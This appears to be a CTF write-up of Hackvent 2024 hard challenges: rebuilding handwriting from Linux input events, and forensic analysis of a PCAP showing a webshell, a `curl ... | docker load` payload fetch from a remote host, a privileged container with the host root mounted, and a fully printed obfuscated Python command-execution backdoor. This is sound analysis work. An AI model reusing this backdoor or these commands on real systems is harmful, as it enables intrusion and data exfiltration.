Hackvent 2024 - Hard
The hard challenges on days 8-10 and 14-17 presented some of my favorites in Hackvent this year. Highlights include a very nice challenge with a PCAP showing a compromise and C2 activity, where I’ll extract a Python script and find the flag in exfiltrated data, a ransomware recovery where I have to brute force a pin and exploit an XSS to get the key, some mind-melting crypto, and a really fun hardware verilog simulation.
HV24.08
Challenge
HV24.08 Santa's Handwriting | |
---|---|
Categories: |
FORENSIC FUN |
Level: | hard |
Author: | kuyaya |
Santa has bought a new drawing pad and has tried it out on his Linux machine immediately. However, Grinch has monitored the raw data stream of what he has written. Santa found out about this and recovered the data which Grinch has stolen, but it seems to be modified to prevent a direct reconstruction. Can you help out Santa?
Hint: Grinch traced Santa’s Handwriting by reading straight from
/dev/input/event16
.
Analyze the dump and get the flag.
The download has a single file, which is a 728K data file:
oxdf@hacky$ file publish.raw
publish.raw: data
oxdf@hacky$ du -sh publish.raw
728K publish.raw
Triage Data
Input Event Background
Santa’s drawing pad is using Linux input events to communicate with the OS. The Linux Kernel documentation talks about the different kinds of Events and Codes that come across the Input Events API. input-event-codes.h
(defined here) has all the integer representation for these values. The structure of an input_event
is defined here in input.h
as basically
struct input_event {
struct timeval time; // Timestamp
__u16 type; // Event type (e.g., key press, movement)
__u16 code; // Event code (specific to the type)
__s32 value; // Event value (e.g., pressed/released, x/y delta)
};
Parse Events
I’ll write a quick Python script to create a list of events that I can look at:
import struct
import sys
event_format = 'llHHI' # timeval (2 longs), type (H), code (H), value (I)
event_size = struct.calcsize(event_format)
class Event:
def __init__(self, data):
seconds, microseconds, self.event_type, self.code, self.value = struct.unpack(event_format, data)
self.timestamp = seconds + microseconds / 1e6
events = []
with open(sys.argv[1], 'rb') as f:
while True:
data = f.read(event_size)
if not data:
break
events.append(Event(data))
If I run python -i
, I can explore the resulting data. For example, I can get a count of the event types:
oxdf@hacky$ python -i parse.py publish.raw
>>> from collections import Counter
>>> Counter(e.event_type for e in events)
Counter({3: 17052, 0: 9989, 4: 1346, 6: 1266, 2: 1263, 1: 36})
The vast majority are type 3, which is EV_ABS
:
EV_ABS events describe absolute changes in a property. For example, a touchpad may emit coordinates for a touch location.
There are three distinct codes for the EV_ABS
events:
>>> Counter(hex(e.code) for e in events if e.event_type == 3)
Counter({'0x1': 8058, '0x0': 7954, '0x18': 1040})
0 is ABS_X
and 1 is ABS_Y
. These show positions of a touch on the screen. 0x18 (24) is ABS_PRESSURE
, which shows how hard the push is.
The other useful event type is 1, which is EV_KEY
. There are two codes associated with this type:
>>> Counter(hex(e.code) for e in events if e.event_type == 1)
Counter({'0x14a': 34, '0x140': 2})
0x14a is BTN_TOUCH
, which describes the stylus touching the surface, and 0x140 is BTN_STYLUS
, which describes the button on the stylus being pressed.
I don’t use the other event types, which are 0 = EV_SYN
, 4 = EV_MSC
, 6 = EV_LED
, and 2 = EV_REL
.
The other thing to note is that the timestamps are not in order:
>>> [e.timestamp for e in events][:10]
[2908719162.950242, 1733523782.615329, 1733523794.865102, 1031523114.684167, 410607213.538858, 1733523798.101065, 1733523800.912009, 1733523796.293078, 1733523782.56018, 3617976678.408116]
Some of them seem way out there.
Capture Image
X/Y Events
I’ll plot the X/Y events with a loop over the events, for each collecting X or Y position, and updating with the most recent value for each. My initial code looks like:
import struct
import sys
import matplotlib.pyplot as plt
event_format = 'llHHI' # timeval (2 longs), type (H), code (H), value (I)
event_size = struct.calcsize(event_format)
class Event:
def __init__(self, data):
seconds, microseconds, self.event_type, self.code, self.value = struct.unpack(event_format, data)
self.timestamp = seconds + microseconds / 1e6
events = []
with open(sys.argv[1], 'rb') as f:
while True:
data = f.read(event_size)
if not data:
break
events.append(Event(data))
xs = []
ys = []
current_x = 0
current_y = 0
for event in events:
if event.event_type == 3:
if event.code == 0:
current_x = event.value
elif event.code == 1:
current_y = event.value
xs.append(current_x)
ys.append(current_y)
plt.figure(figsize=(8, 6))
plt.plot(xs, ys, marker='o', linestyle='-', markersize=2)
plt.title("Santa's Drawing Pad")
plt.axis('off')
plt.show()
I’m not sorting by timestamp, and it’s a mess:
I’ll update the loop to sort on timestamp:
for event in sorted(events, key=lambda e: e.timestamp):
Now the result is somewhat better:
Looking closely, it starts with something kind of like an “H”, and then maybe an “A”… or an upside-down “V”! I’ll update the coordinate saving with negative for the y values:
xs.append(current_x)
ys.append(-current_y)
Now it looks better:
I could probably get the flag from here, but I can do better.
Stylus Up/Down Events
I’ll update my loop over the events to look at if the stylus is touching, and only record the position when it is:
xs = []
ys = []
current_x = 0
current_y = 0
touching = False
for event in sorted(events, key=lambda e: e.timestamp):
if event.event_type == 3:
if event.code == 0:
current_x = event.value
elif event.code == 1:
current_y = event.value
if touching:
xs.append(current_x)
ys.append(-current_y)
elif event.event_type == 1 and event.code == 330:
touching = event.value == 1
The result is pretty good (definitely good enough to get the flag):
There’s still connections between the points where the stylus goes up and down. I’ll fix that by adding None, None
to the list when the stylus is up:
if touching:
xs.append(current_x)
ys.append(-current_y)
else:
xs.append(None)
ys.append(None)
The result is perfect:
Flag: HV24{dra4w1ng}
HV24.09
Challenge
HV24.09 Naughty and Nice | |
---|---|
Categories: |
FUN CRYPTO FORENSIC REVERSE_ENGINEERING |
Level: | hard |
Author: | bread |
Santa’s naughty and nice list seems to have been misused. He is worried that something has been stolen. Here is a pcap of when the attack took place, can you find out what was taken?
The download is a packet capture:
$ file santa.pcap
santa.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
PCAP Overview
The PCAP isa 100% TCP data, some HTTP and some other:
Stepping through the streams is useful to get a feel for what’s going on.
The first eight streams are an actor interacting with a naughty / nice list website. On stream id 8 (the 9th stream), there’s a POST request which looks to include a webshell in the evidence
field:
The next request shows it works:
The actor then proceeds to run docker ps
and then curl -sSL http://172.17.0.2:443/bread.tar | docker load
.
There’s then a request to 172.17.0.2:443/bread.tar
, where the Tar archive / Docker image is returned. In the next command, the image is started with docker run -d -v /:/mnt --privileged -v /var/run/docker.sock:/var/run/docker.sock --name bread -p 1337:1337 bread
.
Then the actor runs docker inspect bread
to get information about the running container, including that it’s listening on port 1337.
Immediately after that are 10 streams connecting to 1337. The first one just sends some data:
The rest look like encrypted command and responses:
From File –> Export Objects –> HTTP, I’ll save bread.tar
:
Extract Python Script
Identify Layer
I’ll use dive to look at the .tar
as layers in a Docker container.
On the left, it shows the different layers and their metadata, and on the right it shows the filesystem and highlights the changed files.
The second to last layer is where challenge.py
is copied into the container. If I filter to only show modified files, it’s the only file:
Get Script
I’ll extract the .tar
into bread.tar_files
:
oxdf@hacky$ mkdir bread.tar_files/
oxdf@hacky$ tar -xf bread.tar -C bread.tar_files/
oxdf@hacky$ ls bread.tar_files/
blobs index.json manifest.json oci-layout repositories
I’ll find the layer in blobs
that matches the sha256 from dive
and extract it:
oxdf@hacky$ tar -xf 46897eb45f8163aa7dd27af46772a10dff704929828aa326679c8eae9b9c3c4e
oxdf@hacky$ ls app/
challenge.py
I’ll copy that to my main directory for analysis.
challenge.py
Obfuscation
challenge.py
is heavily obfuscated Python code:
_0x_j34f = getattr
_0x_k92l = __import__
_0x_m78x = lambda _: ''.join(map(lambda __: chr(__), _))
def _0x(_0x15d47, _0x98d42): return _0x_j34f(_0x_k92l(_0x_m78x(_0x15d47)), _0x_m78x(_0x98d42))
_0x1b7e = _0x([98, 97, 115, 101, 54, 52], [98, 54, 52, 101, 110, 99, 111, 100, 101])
_0x1234 = _0x_m78x([95, 95, 110, 97, 109, 101, 95, 95])
_0x9abc = lambda _: globals().get(_, None)
_0x7f8g9 = _0x_m78x([111, 112, 101, 110, 115, 115, 108, 32, 101, 110, 99, 32, 45, 100, 32, 45, 97, 101, 115, 45, 50, 53, 54, 45, 101, 99, 98, 32, 45, 98, 97, 115, 101, 54, 52, 32, 45, 107])
_0x46233 = _0x_m78x([114, 101, 97, 100])
_0x4501 = _0x_m78x([97, 99, 99, 101, 112, 116])
_0xa230f = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 117, 112, 112, 101, 114, 99, 97, 115, 101])
_0x5678 = _0x_m78x([95, 95, 109, 97, 105, 110, 95, 95])
_0x1b3d7 = _0x([115, 116, 114, 105, 110, 103], [97, 115, 99, 105, 105, 95, 108, 111, 119, 101, 114, 99, 97, 115, 101])
_0x1215b = _0x_m78x([95, 48, 120, 53, 51, 52, 107, 50, 103])
_0x5d9a2 = _0x([115, 116, 114, 105, 110, 103], [100, 105, 103, 105, 116, 115])
_0x3b23 = _0x_m78x([111, 112, 101, 110])
_0x1a2b3 = _0x_m78x([47, 116, 109, 112, 47, 46, 98, 114, 101, 97, 100])
_0x58d1 = _0x_m78x([115, 112, 108, 105, 116])
_0x12482 = _0x([115, 117, 98, 112, 114, 111, 99, 101, 115, 115], [99, 104, 101, 99, 107, 95, 111, 117, 116, 112, 117, 116])
_0x3a65 = _0x_m78x([112, 114, 105, 110, 116])
_0x4d5e6 = _0x_m78x([101, 99, 104, 111])
_0x7f83 = _0x([115, 111, 99, 107, 101, 116], [115, 111, 99, 107, 101, 116])
_0x3c4d5 = _0x_m78x([48, 46, 48, 46, 48, 46, 48])
_0x4a32 = _0x_m78x([115, 101, 110, 100])
_0x7c91 = _0x_m78x([119, 114, 105, 116, 101])
_0x1d78 = _0x_m78x([98, 105, 110, 100])
_0x4623 = _0x_m78x([95, 48, 120, 50, 51, 107, 106, 103, 52])
_0x6b01 = _0x_m78x([108, 105, 115, 116, 101, 110])
_0xj65b4 = {
_0x_m78x([115, 104, 101, 108, 108]): len(list(filter(lambda _: _ != '', "a"))),
_0x_m78x([116, 101, 120, 116]): len(list(filter(lambda _: _ != '', "a"))),
}
class Str(str):
def _0x2323(self): return self.encode()
class _0x3434(bytes):
def __init__(self, _): self._ = _.decode()
def __str__(self) -> str: return self._
def _0x2a3f(_0x3a1e): return str(_0x3434(_0x1b7e(_0x3a1e._0x2323())))
def _0x6432a(_,Σ): return (_&~Σ)|(~_&Σ)
def _0x1a1b(_0x3a1e, _0x2b2c):
_0x4f5d = list(*())
_0x6d8f = iter(range(len(_0x3a1e)))
for _0x5d7e in _0x6d8f:
(_0x5c5b, _0x6d6b) = (_0x3a1e[_0x5d7e], _0x3a1e[next(_0x6d8f, _0x5d7e)] if _0x5d7e + len(list(filter(lambda _: _ != '', "a"))) < len(_0x3a1e) else _0x3a1e[_0x5d7e])
_0x4f5d.extend([chr(_0x6432a(ord(_0x5c5b), ord(_0x2b2c[_0x5d7e % len(list(filter(lambda _: _ != '', "ab")))])))]);
_0x4f5d.extend([chr(_0x6432a(ord(_0x6d6b), ord(_0x2b2c[(_0x5d7e + len(list(filter(lambda _: _ != '', "a")))) % len(list(filter(lambda _: _ != '', "ab")))])))]);
_0x2d8c = list(*())
[_0x2d8c.extend([_0x4f5d[_0x5d7e + len(list(filter(lambda _: _ != '', "a")))], _0x4f5d[_0x5d7e]]) if _0x5d7e + len(list(filter(lambda x: x != '', "a"))) < len(_0x4f5d) else _0x2d8c.append(_0x4f5d[_0x5d7e]) for _0x5d7e in range(len(list(filter(lambda _: _ != '', ""))), len(_0x4f5d), len(list(filter(lambda _: _ != '', "ab"))))]
return ''.join(map(str, _0x2d8c))
def _0x9b67(data):
_0x1f94 = ''.join(sum(map(lambda _: [_], [_0xa230f, _0x1b3d7, _0x5d9a2, '+/']), []))
_0x8c13 = { _0x1f94[_0x8f0d]: (_0x8f0d // int(_0x1f94[-4]), _0x8f0d % int(_0x1f94[-4])) for _0x8f0d in range(len(_0x1f94)) }
return ''.join(f"{_0x8c13[_0x7adf][int(_0x1f94[-12])]}{_0x8c13[_0x7adf][int(_0x1f94[-11])]}" for _0x7adf in data if _0x7adf != "=")
def _0x23kjg4(_0x246g5):
_0x987yh54 = _0x246g5.recv(1024).strip().decode()
try:
_, _0x45h4g, _0x23dd, __ = list(__builtins__.__dict__.values())[list(__builtins__.__dict__.values()).index(open)](_0x1a2b3).__getattribute__(_0x46233)().__getattribute__(_0x58d1)('|')
#_, _0x45h4g, _0x23dd, __ = getattr(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"), list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r")))[list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "r"))).index(_0x4623)])().__getattribute__(_0x58d1)('|')
_0x25jybd = _0x12482(f"{_0x4d5e6} '{_0x987yh54}' | {_0x7f8g9} '{_0x45h4g}'", **_0xj65b4).encode()
_0x48916b = _0x1a1b(_0x12482(_0x25jybd, **_0xj65b4), _0x23dd)
_0xff23de = _0x2a3f(Str(_0x48916b))
_0x712a6d = _0x9b67(_0xff23de)
_0x_j34f(_0x246g5, list(dir(_0x246g5))[list(dir(_0x246g5)).index(_0x4a32)])(_0x712a6d.encode()+bytes([10]))
except FileNotFoundError:
getattr(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"), list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w")))[list(dir(getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3b23)])(_0x1a2b3, "w"))).index(_0x7c91)])(f"{_0x987yh54}")
except Exception as e:
getattr(__builtins__, list(dir(__builtins__))[list(dir(__builtins__)).index(_0x3a65)])(f"{e}")
_0x246g5.close()
def _0x534k2g():
_0x5b7c = _0x7f83(len(list(filter(lambda x: x != '', "ab"))), len(list(filter(lambda x: x != '', "a"))))
_0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x1d78)])((_0x3c4d5, 1337))
_0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x6b01)])(len(list(filter(lambda x: x != '', "ab"))))
while True:
_0x8723bk2, _ = _0x_j34f(_0x5b7c, list(dir(_0x5b7c))[list(dir(_0x5b7c)).index(_0x4501)])()
_0x9abc(_0x4623)(_0x8723bk2)
if _0x9abc(_0x1234) == _0x5678: _0x9abc(_0x1215b)()
The _0x_m78x
function is used to turn a list of int
to a string. The _0x
function gets an attribute from a module, taking in two lists of int
that are converted with _0x_m78x
.
main / handle
After significant deobfuscation, the bottom of the script calls a function I’ve renamed to main
:
def main():
s = f_socket_socket(2, 1) # AF_INET, SOCK_STREAM
s.bind(("0.0.0.0", 1337))
s.listen(2)
while True:
client_sock, _ = s.accept()
handle(client_sock)
if __name__ == "__main__" : main()
This starts a listening socket on localhost port 1337, and then accepts incoming connections and passes that socket to a function I’ve renamed handle
. That function (after deobfuscation) looks like:
def handle(sock):
data_in = sock.recv(1024).strip().decode()
try:
_, key1, key2, __ = open("/tmp/.bread").read().split('|')
decrypted_cmd = f_subprocess_check_output(f"echo '{data_in}' | openssl enc -d -aes-256-ecb -base64 -k '{key1}'", shell=1, text=1).encode()
xored_swapped_data = xor_and_swap(f_subprocess_check_output(decrypted_cmd, shell=1, text=1), key2)
base64_encoded_data = base64_encode(Str(xored_swapped_data))
custom_octal_encoded = custom_octal_encode(base64_encoded_data)
sock.send(custom_octal_encoded.encode()+bytes([10]))
except FileNotFoundError:
open("/tmp/.bread", "w").write(f"{data_in}")
except Exception as e:
print(f"{e}")
It tries to read keys from /tmp/.bread
, and if it fails, it writes data to that file.
If it succeeds in getting the keys, then it uses subprocess.check_output
to decrypt it using the first key. Then it passes the result into subprocess.check_output
again to run that command, passing the results through a series of encryption / encoding functions, before sending the result out on the socket.
xor_and_swap
After deobfuscation, the function I’ve named xor_and_swap
looks like:
def xor(_,Σ): return (_&~Σ)|(~_&Σ)
def xor_and_swap(data_in, xor_key):
intermediate_list = []
range_gen = iter(range(len(data_in)))
for idx in range_gen:
(c1, c2) = (data_in[idx], data_in[next(range_gen, idx)] if idx + 1 < len(data_in) else data_in[idx])
intermediate_list.extend([chr(xor(ord(c1), ord(xor_key[idx % 2])))]);
intermediate_list.extend([chr(xor(ord(c2), ord(xor_key[(idx + 1) % 2])))]);
output_list = []
[output_list.extend([intermediate_list[_0x5d7e + 1], intermediate_list[_0x5d7e]]) if _0x5d7e + 1 < len(intermediate_list) else output_list.append(intermediate_list[_0x5d7e]) for _0x5d7e in range(0, len(intermediate_list), 2)]
return ''.join(map(str, output_list))
It effectively takes a two character XOR key, and then loops over the data two bytes at a time, XORing with the key, and then swapping the order of the bytes.
custom_octal_encode
The other interesting function looks like:
def custom_octal_encode(data):
base64_alpha = s_string_ascii_upper + s_string_ascii_lower + s_string_digits, '+/'
octal_map = { base64_alpha[i]: (i // 8, i % int(8)) for i in range(len(base64_alpha)) }
return ''.join(f"{octal_map[c][0]}{octal_map[c][1]}" for c in data if c != "=")
It makes a map that takes “A” –> (0, 0), “B” –> (0, 1), “C” –> (0, 2), etc, where both values run 0-7, giving 64 total values (which matches the number of values in the Base64 alphabet). This converts each charactrer to two digits 0-7.
Decode Comms
Get Keys
With an understanding of how the code works, the PCAP makes more sense. The first communication to the server is just sending data, with no response. That’s what gets written to /tmp/.bread
when it fails to find keys there:
-+-|.bread was here.|........|-+-
The first key is “.bread was here.”. The second is non-ASCII, but in hex it’s “🍞🔑”.
Extract Streams
I’ll write a Python script that will extract the TCP streams to TCP 1337:
def extract_tcp_streams(pcap_file, port):
streams = {}
capture = pyshark.FileCapture(pcap_file, display_filter=f'tcp.port == {port}')
for packet in capture:
try:
stream_id = packet.tcp.stream
if hasattr(packet.tcp, 'payload'):
raw_bytes = bytes.fromhex(packet.tcp.payload.replace(':', ''))
else:
raw_bytes = b''
if stream_id not in streams:
streams[stream_id] = {'to_server': b'', 'to_client': b''}
if int(packet.tcp.dstport) == port:
streams[stream_id]['to_server'] += raw_bytes
else:
streams[stream_id]['to_client'] += raw_bytes
except AttributeError:
continue
capture.close()
return streams
Decrypt
I’ll write functions to decrypt the command and response, building off the Python in the original file:
def decrypt_command(enc, password):
res = check_output(f"echo '{enc.decode()}' | openssl enc -d -aes-256-ecb -base64 -k '{password}' 2>/dev/null", shell=1, text=1)
return res
def xor_and_swap_every_other(data_in, key):
intermediate_array = []
range_gen = iter(range(len(data_in)))
for idx in range_gen:
(c2, c1) = (data_in[idx], data_in[next(range_gen, idx)] if idx + 1 < len(data_in) else data_in[idx])
intermediate_array.extend([chr(ord(c2) ^ ord(key[(idx + 1) % 2]))]);
intermediate_array.extend([chr(ord(c1) ^ ord(key[idx % 2]))]);
result_array = []
[result_array.extend([intermediate_array[_0x5d7e + 1], intermediate_array[_0x5d7e]]) if _0x5d7e + 1 < len(intermediate_array) else result_array.append(intermediate_array[_0x5d7e]) for _0x5d7e in range(0, len(intermediate_array), 2)]
return ''.join(map(str, result_array))
def decrypt_resp(enc, password):
base64_alpha = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
b64text = ''.join(base64_alpha[int(enc[i]) * 8 + int(enc[i+1])] for i in range(0, len(enc), 2))
b64text += '=' * (-len(b64text) %4)
emoji_enc = b64decode(b64text).decode()
plain = xor_and_swap_every_other(emoji_enc, password)
return plain
Now I can loop over the streams and output the session:
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <pcap_file>")
sys.exit(1)
pcap_file = sys.argv[1]
port = 1337
streams = extract_tcp_streams(pcap_file, port)
for stream_id, data in streams.items():
if 'bread was here' in data['to_server'].decode():
_, in_key, out_key, _ = data['to_server'].decode().split('|')
print(f"Identified keys: '{in_key}' and '{out_key}'")
continue
print(f"$ {decrypt_command(data['to_server'], in_key)}")
print(f"{decrypt_resp(data['to_client'].decode().strip(), out_key).strip()}")
Run It
Running it generates a log of the session of the attacker:
oxdf@hacky$ python parse_pcap.py santa.pcap
Identified keys: '.bread was here.' and '🍞🔑'
$ whoami
root
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6d9fba5f0e9d bread "python /app/challen…" 20 seconds ago Up 19 seconds 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp bread
ae8f6e8d452b naughty-nice-php "docker-php-entrypoi…" About a minute ago Up About a minute 8080/tcp, 0.0.0.0:8080->80/tcp, :::8080->80/tcp naughty-nice-php
bccb71a4d5dc unbound "python3 -m http.ser…" About a minute ago Up About a minute 0.0.0.0:443->443/tcp, :::443->443/tcp unbound
95323b34357c pihole/pihole:latest "/s6-init" 7 days ago Up 3 days (healthy) 0.0.0.0:53->53/tcp, :::53->53/tcp, 0.0.0.0:80->80/tcp, 0.0.0.0:53->53/udp, :::80->80/tcp, :::53->53/udp, 67/udp pihole
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
unbound latest be680fd32199 3 minutes ago 178MB
bread latest a050d71a89db 10 minutes ago 90.7MB
<none> <none> c6df08727188 25 hours ago 418MB
naughty-nice-php latest 8d07938ebfe4 25 hours ago 1GB
hashicorp/vault latest 197c8072f1e8 6 days ago 466MB
pihole/pihole latest 7e2c1211ec99 4 months ago 311MB
$ docker inspect vault
[
{
"CreatedAt": "2024-11-26T21:15:44+11:00",
"Driver": "local",
"Labels": null,
"Mountpoint": "/var/lib/docker/volumes/vault/_data",
"Name": "vault",
"Options": null,
"Scope": "local"
}
]
$ ls -la /mnt/home
total 28
drwxr-xr-x 4 root root 4 Nov 26 11:32 .
drwxr-xr-x 23 root root 27 Nov 13 08:09 ..
drwxr-x--- 20 1000 1000 28 Nov 26 11:17 bread
drwxr-xr-x 3 1001 1001 8 Nov 26 11:45 santa
$ ls -la /mnt/home/santa
total 44
drwxr-xr-x 3 1001 1001 8 Nov 26 11:45 .
drwxr-xr-x 4 root root 4 Nov 26 11:32 ..
-rw-r--r-- 1 1001 1001 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 1001 1001 807 Mar 31 2024 .profile
-rwxr-xr-x 1 1001 1001 19842 Nov 26 11:43 backup.zip
-rw-r--r-- 1 1001 1001 901 Nov 26 11:33 santas.secrets
drwxr-xr-x 6 1000 1000 6 Nov 26 11:54 vault
$ base64 /mnt/home/santa/backup.zip
UEsDBAoAAAAAAOkbdVkAAAAAAAAAAAAAAAAGABwAdmF1bHQvVVQJAAPWDj5nbp9FZ3V4CwABBOgD
AAAE6AMAAFBLAwQKAAAAAAAujHpZAAAAAAAAAAAAAAAADQAcAHZhdWx0L2NvbmZpZy9VVAkAA7hr
...[snip]...
CzcAAAAA
$ base64 /mnt/home/santa/santas.secrets
VW5zZWFsIEtleSAxOiBoUzFOcTk5VXpiZkdLTE5QT3VIcnlkWFQxdFIvcFFVY25GMzZNdVhSRUJH
WApVbnNlYWwgS2V5IDI6IHV4R3dyUU1GQTU4T2gzWVBadUJBbmdibHlFRE1ITDd4OTRuOWJKa0dn
...[snip]...
ICJ2YXVsdCBvcGVyYXRvciByZWtleSIgZm9yIG1vcmUgaW5mb3JtYXRpb24uCg==
$ thanks for playing. bread=)
Vault
Extract Zip
I’ll base64 decode the long output for backup.zip
and unzip it:
oxdf@hacky$ unzip backup.zip
Archive: backup.zip
creating: vault/
creating: vault/config/
inflating: vault/config/local.json
creating: vault/logs/
creating: vault/file/
creating: vault/file/logical/
creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/
creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_tokens/
creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_tokens/named_keys/
inflating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_tokens/named_keys/_default
creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/
creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/provider/
inflating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/provider/_default
creating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/assignment/
inflating: vault/file/logical/a18610f7-a833-d96b-3124-b7f46222c1dd/oidc_provider/assignment/_allow_all
creating: vault/file/logical/fd026e3f-2d52-dff3-b33c-ba1108d1f8ca/
inflating: vault/file/logical/fd026e3f-2d52-dff3-b33c-ba1108d1f8ca/_santa
creating: vault/file/sys/
creating: vault/file/sys/token/
inflating: vault/file/sys/token/_salt
creating: vault/file/sys/token/id/
inflating: vault/file/sys/token/id/_hfeacefa9c83782eb5073d41b8c504354b41c7328d81e8d763afaaef8abe74614
creating: vault/file/sys/token/accessor/
inflating: vault/file/sys/token/accessor/_ebdc52b63ea0c052f5216f895cc8b29aab08950a
creating: vault/file/sys/counters/
creating: vault/file/sys/counters/activity/
inflating: vault/file/sys/counters/activity/_acme-regeneration
creating: vault/file/sys/policy/
inflating: vault/file/sys/policy/_control-group
inflating: vault/file/sys/policy/_default
inflating: vault/file/sys/policy/_response-wrapping
creating: vault/file/core/
creating: vault/file/core/hsm/
extracting: vault/file/core/hsm/_barrier-unseal-keys
inflating: vault/file/core/_seal-config
inflating: vault/file/core/_shamir-kek
inflating: vault/file/core/_index-header-hmac-key
inflating: vault/file/core/_mounts
inflating: vault/file/core/_local-auth
inflating: vault/file/core/_audit
creating: vault/file/core/cluster/
creating: vault/file/core/cluster/local/
inflating: vault/file/core/cluster/local/_info
inflating: vault/file/core/cluster/_feature-flags
creating: vault/file/core/versions/
inflating: vault/file/core/versions/_1.18.2
inflating: vault/file/core/_master
inflating: vault/file/core/_auth
inflating: vault/file/core/_keyring
inflating: vault/file/core/_local-audit
creating: vault/file/core/wrapping/
inflating: vault/file/core/wrapping/_jwtkey
inflating: vault/file/core/_local-mounts
Run Server
The resulting folder is a HashiCorp Vault. To get this running, I’ll update the local.json
file to point to the local copy of vault/file
:
oxdf@hacky$ cat vault/config/local.json
{
"storage": {
"file": {
"path": "./vault/file"
}
},
"listener": [
{
"tcp": {
"address": "0.0.0.0:8200",
"tls_disable": true
}
}
],
"api_addr": "https://127.0.0.1:8200",
"log_level": "debug",
"default_lease_ttl": "168h",
"cluster_name": "santas-vault",
"max_lease_ttl": "720h",
"ui": true,
"audit": {
"file": {
"file_path": "/vault/logs/audit.log",
"log_raw": true
}
}
}
Now I start the server:
oxdf@hacky$ sudo vault server -config=./vault/config/local.json
==> Vault server configuration:
Administrative Namespace:
Api Address: https://127.0.0.1:8200
Cgo: disabled
Cluster Address: https://127.0.0.1:8201
Environment Variables: COLORTERM, DBUS_SESSION_BUS_ADDRESS, DISPLAY, HOME, LANG, LANGUAGE, LOGNAME, LS_COLORS, MAIL, PATH, PS1, SHELL, SUDO_COMMAND, SUDO_GID, SUDO_UID, SUDO_USER, TERM, USER, XAUTHORITY, XDG_CURRENT_DESKTOP
Go Version: go1.22.8
Listener 1: tcp (addr: "0.0.0.0:8200", cluster address: "0.0.0.0:8201", disable_request_limiter: "false", max_request_duration: "1m30s", max_request_size: "33554432", tls: "disabled")
Log Level: debug
Mlock: supported: true, enabled: true
Recovery Mode: false
Storage: file
Version: Vault v1.18.2, built 2024-11-20T11:24:56Z
Version Sha: e36bac59ddb8e10e8912c0ddb44416c850939855
==> Vault server started! Log data will stream in below:
2024-12-10T02:28:55.786Z [INFO] proxy environment: http_proxy="" https_proxy="" no_proxy=""
2024-12-10T02:28:55.786Z [INFO] incrementing seal generation: generation=1
2024-12-10T02:28:55.787Z [DEBUG] core: set config: sanitized config="{\"administrative_namespace_path\":\"\",\"api_addr\":\"https://127.0.0.1:8200\",\"cache_size\":0,\"cluster_addr\":\"\",\"cluster_cipher_suites\":\"\",\"cluster_name\":\"santas-vault\",\"default_lease_ttl\":604800,\"default_max_request_duration\":0,\"detect_deadlocks\":\"\",\"disable_cache\":false,\"disable_clustering\":false,\"disable_indexing\":false,\"disable_mlock\":false,\"disable_performance_standby\":false,\"disable_printable_check\":false,\"disable_sealwrap\":false,\"disable_sentinel_trace\":false,\"enable_response_header_hostname\":false,\"enable_response_header_raft_node_id\":false,\"enable_ui\":true,\"experiments\":null,\"imprecise_lease_role_tracking\":false,\"introspection_endpoint\":false,\"listeners\":[{\"config\":{\"address\":\"0.0.0.0:8200\",\"tls_disable\":true},\"type\":\"tcp\"}],\"log_format\":\"\",\"log_level\":\"debug\",\"log_requests_level\":\"\",\"max_lease_ttl\":2592000,\"pid_file\":\"\",\"plugin_directory\":\"\",\"plugin_file_permissions\":0,\"plugin_file_uid\":0,\"plugin_tmpdir\":\"\",\"raw_storage_endpoint\":false,\"seals\":[{\"disabled\":false,\"name\":\"shamir\",\"priority\":1,\"type\":\"shamir\"}],\"storage\":{\"cluster_addr\":\"\",\"disable_clustering\":false,\"redirect_addr\":\"https://127.0.0.1:8200\",\"type\":\"file\"}}"
2024-12-10T02:28:55.787Z [DEBUG] storage.cache: creating LRU cache: size=0
2024-12-10T02:28:55.849Z [INFO] core: Initializing version history cache for core
2024-12-10T02:28:55.849Z [INFO] events: Starting event system
2024-12-10T02:28:55.850Z [DEBUG] cluster listener addresses synthesized: cluster_addresses=[0.0.0.0:8201]
2024-12-10T02:28:55.850Z [DEBUG] would have sent systemd notification (systemd not present): notification=READY=1
Unseal / Login
The santas.secrets
file decodes to:
Unseal Key 1: hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX
Unseal Key 2: uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Unseal Key 3: hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Unseal Key 4: u2TJGpAtJYfBEBFy7mUVO9VSxUDJbcbKm5IvjwSSmWuh
Unseal Key 5: l6tAUbXnXqUfnjZaYl8zw15AU5+kzMmSa5segejfr/SQ
